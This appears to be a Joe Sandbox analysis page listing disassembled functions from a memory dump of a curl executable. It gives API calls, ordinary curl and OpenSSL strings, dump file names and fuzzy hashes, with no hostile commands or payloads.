curl: (%d) %s, xrefs: 0092B2B8
out of memory, xrefs: 00928D0D
https://, xrefs: 009293DE
%s%s, xrefs: 0092B2DB
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0092B2D6
G>, xrefs: 00929224
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0092B2D1
Uh, xrefs: 00929086

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$__close
String ID: [%lu/%lu]: %s --> %s$%s%c%s$%s%s$%s%s$(%d) Failed writing body$--_curl_--$://$<stdout>$?$Can't open '%s'!$Can't open '%s'!$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$Remote file name has no length!$curl: (%d) %s$http://$https://$out of memory$-N$G>$Uh
API String ID: 3788485834-1810070989
Opcode ID: 6db2d1b5f76a6b8430956dd86e4ebf0ebf0aa48a9bf3c342e23b7402544fd0e6
Instruction ID: aa1a158c44f99b1db6e95f0632fd73f3f9dd2b9be5e5d04eecb0f2662afec349
Opcode Fuzzy Hash: 6db2d1b5f76a6b8430956dd86e4ebf0ebf0aa48a9bf3c342e23b7402544fd0e6
Instruction Fuzzy Hash: D902C6B0A083619FD720DF24E881B6F77E8AF95340F14493CF8998729AEB35D844CB52

Function 0092930A Relevance: 47.6, APIs: 8, Strings: 19, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32 ref: 00929382

Strings

--_curl_--, xrefs: 00929466
%s%s, xrefs: 0092946B
://, xrefs: 00929489
http://, xrefs: 009293C7
<stdout>, xrefs: 00929436, 00929442
?, xrefs: 00929497
-N, xrefs: 009293CE
Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!, xrefs: 0092933C
(%d) Failed writing body, xrefs: 0092907E
%s%c%s, xrefs: 009294D6
[%lu/%lu]: %s --> %s, xrefs: 0092944B
curl: (%d) %s, xrefs: 0092B2B8
out of memory, xrefs: 00928D0D
https://, xrefs: 009293DE
%s%s, xrefs: 0092B2DB
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0092B2D6
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0092B2D1
Uh, xrefs: 00929086
fcntl failed on fd=%d: %s, xrefs: 0092939D

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ioctlsocket
String ID: [%lu/%lu]: %s --> %s$%s%c%s$%s%s$%s%s$(%d) Failed writing body$--_curl_--$://$<stdout>$?$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!$curl: (%d) %s$fcntl failed on fd=%d: %s$http://$https://$out of memory$-N$Uh
API String ID: 3577187118-4169914100
Opcode ID: 500255ee3c6653c0a9cc4265f531384647330f07de064b8834beea9d4e6f5fd8
Instruction ID: 684d1845f0a6277b4a57ea3c8d95dd57a4baa618af0720cc8c48ce08c18c4523
Opcode Fuzzy Hash: 500255ee3c6653c0a9cc4265f531384647330f07de064b8834beea9d4e6f5fd8
Instruction Fuzzy Hash: 10C1E970A083619BE720EF24F881B6F77E9AF95344F14493CF89986296EB75C844C753

Function 0092D790 Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000200), ref: 0092D846
_strrchr.LIBCMT ref: 0092D85B
_free.LIBCMT ref: 0092D8AD
_free.LIBCMT ref: 0092D962
_malloc.LIBCMT ref: 0092D9FD
_free.LIBCMT ref: 0092DA29

Strings

_curlrc, xrefs: 0092D88B
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 0092DAE1
_curlrc, xrefs: 0092D7C8, 0092D8EE
%s:%d: warning: '%s' %s, xrefs: 0092DBDA
%s%s%s, xrefs: 0092D805
<stdin>, xrefs: 0092DBA7
_curlrc, xrefs: 0092D7FA
%s%s, xrefs: 0092D895

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$FileModuleName_malloc_strrchr
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$<stdin>$_curlrc$_curlrc$_curlrc
API String ID: 631580416-760928855
Opcode ID: e9d17e7b8eaf8c075b1feba22504d6b4a7142162b911f5f2ef55d56543b1028c
Instruction ID: 7dd49afcc8e9fd64516f38443925753f1df01d68caf46ca85af7bc29f8cea2fc
Opcode Fuzzy Hash: e9d17e7b8eaf8c075b1feba22504d6b4a7142162b911f5f2ef55d56543b1028c
Instruction Fuzzy Hash: DFD18D7590A3A15FD721AF24B891B7B7BD95F81300F184868FCC58724AE736CD46C792

Function 00928D66 Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(%d) Failed writing body, xrefs: 0092907E
curl: (%d) %s, xrefs: 0092B2B8
out of memory, xrefs: 00928D0D
%s%s, xrefs: 0092B2DB
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0092B2D6
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0092B2D1
Uh, xrefs: 00929086

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: %s%s$(%d) Failed writing body$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$curl: (%d) %s$out of memory$Uh
API String ID: 0-1136501975
Opcode ID: de44a03bff7f87b0a48ebe8061d59f7299f8926fb0e6cb017e6a2a6606c10797
Instruction ID: 8b79bd75ec2d4991d5beae98ffbff2bd96c37ff841d72fd80d68797b941adb7e
Opcode Fuzzy Hash: de44a03bff7f87b0a48ebe8061d59f7299f8926fb0e6cb017e6a2a6606c10797
Instruction Fuzzy Hash: 35B193B0A083519FDB20EF25E885B5BB7E8BF94340F14492DF899C7296EB34D844CB52

Function 00928FE3 Relevance: 28.3, APIs: 7, Strings: 9, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00922880: _malloc.LIBCMT ref: 009228C6
Part of subcall function 00922880: _strtoul.LIBCMT ref: 00922912
Part of subcall function 00922880: _memmove.LIBCMT ref: 009229E3

__stat32i64.LIBCMT ref: 0092918B
_free.LIBCMT ref: 00928FFD

Part of subcall function 00A1E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?), ref: 00A1E846
Part of subcall function 00A1E832: GetLastError.KERNEL32(00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?,?), ref: 00A1E858

_free.LIBCMT ref: 009290A2
_free.LIBCMT ref: 009290CD
_free.LIBCMT ref: 009290DE
__close.LIBCMT ref: 009290F1
_free.LIBCMT ref: 0092B3E3

Strings

(%d) Failed writing body, xrefs: 0092907E
curl: (%d) %s, xrefs: 0092B2B8
out of memory, xrefs: 00928D0D
%s%s, xrefs: 0092B2DB
Can't open '%s'!, xrefs: 009291D8
bad output glob!, xrefs: 0092900D
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0092B2D6
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0092B2D1
Uh, xrefs: 00929086

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast__close__stat32i64_malloc_memmove_strtoul
String ID: %s%s$(%d) Failed writing body$Can't open '%s'!$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$bad output glob!$curl: (%d) %s$out of memory$Uh
API String ID: 4076486959-657461100
Opcode ID: cfed6ec35a798ad212eaf3d2c2f464d2f22afb721585cb9768855a7ac0fb6ac5
Instruction ID: 97e6f46560167df9ceebee05b21d0fa5955097dd6db0b0fa74e0b4df15a48a6d
Opcode Fuzzy Hash: cfed6ec35a798ad212eaf3d2c2f464d2f22afb721585cb9768855a7ac0fb6ac5
Instruction Fuzzy Hash: 84A196B0A083619BDB20DF25E88576F77E9BF95340F144C3DF89986286EB35D844CB52

Function 00928C87 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(%d) Failed writing body, xrefs: 0092907E
curl: (%d) %s, xrefs: 0092B2B8
out of memory, xrefs: 00928D0D
%s%s, xrefs: 0092B2DB
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 0092B2D6
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 0092B2D1
Uh, xrefs: 00929086

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: %s%s$(%d) Failed writing body$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$curl: (%d) %s$out of memory$Uh
API String ID: 0-1136501975
Opcode ID: 1caa83e00d1d31b763af6e43c2b304e3fa914ea5e95567abbdcd435b595e458a
Instruction ID: 308ab4154644b987f68419542849a6ec38fa8647179f7738c7450f61606714f1
Opcode Fuzzy Hash: 1caa83e00d1d31b763af6e43c2b304e3fa914ea5e95567abbdcd435b595e458a
Instruction Fuzzy Hash: 00819270A093519BD720EF24E881B6FB7E8BF95340F14493DF8998629AEB35D844CB53

Function 0093D7C0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 0093D80D
WSAGetLastError.WS2_32 ref: 0093D817

Part of subcall function 009323B0: GetLastError.KERNEL32(?,00000000,?,0093D974), ref: 009323B7
Part of subcall function 009323B0: _strncpy.LIBCMT ref: 009323E5
Part of subcall function 009323B0: _strrchr.LIBCMT ref: 00932438
Part of subcall function 009323B0: _strrchr.LIBCMT ref: 00932453
Part of subcall function 009323B0: GetLastError.KERNEL32(?,?,?,?,0093D974), ref: 0093246B
Part of subcall function 009323B0: SetLastError.KERNEL32(00000000,?,?,?,?,0093D974), ref: 00932476

_memset.LIBCMT ref: 0093D864
getsockname.WS2_32(?,?,?), ref: 0093D877
WSAGetLastError.WS2_32 ref: 0093D881

Strings

ssrem inet_ntop() failed with errno %d: %s, xrefs: 0093D8EF
ssloc inet_ntop() failed with errno %d: %s, xrefs: 0093D976
getsockname() failed with errno %d: %s, xrefs: 0093D894
getpeername() failed with errno %d: %s, xrefs: 0093D82A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$_strrchr$_memset_strncpygetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 1263119533-670633250
Opcode ID: 74a619e3964baaf202fe44c132c601dd54628e915e7e9b913d633074af75146c
Instruction ID: 5f03d1011e463adca1f97794d02d514dba0e3bd72d5b15a50b40c1a6fbec4981
Opcode Fuzzy Hash: 74a619e3964baaf202fe44c132c601dd54628e915e7e9b913d633074af75146c
Instruction Fuzzy Hash: 8741B9B2A04601ABD724EB24EC42BEFF3D9FFD8310F404519F99A93241EF7465558B92

Function 009A1FF0 Relevance: 18.2, APIs: 7, Strings: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,00000000,00000000,?,?), ref: 009A2033
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009A203F
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009A2062
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009A206E
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009A209C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00AC5F2C,00AC5F2E,?,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?), ref: 009A20CB
GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,000000A9,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009A2159

Strings

',', xrefs: 009A2176
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A2154
fopen(', xrefs: 009A217C
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A21B3
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A21A2

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
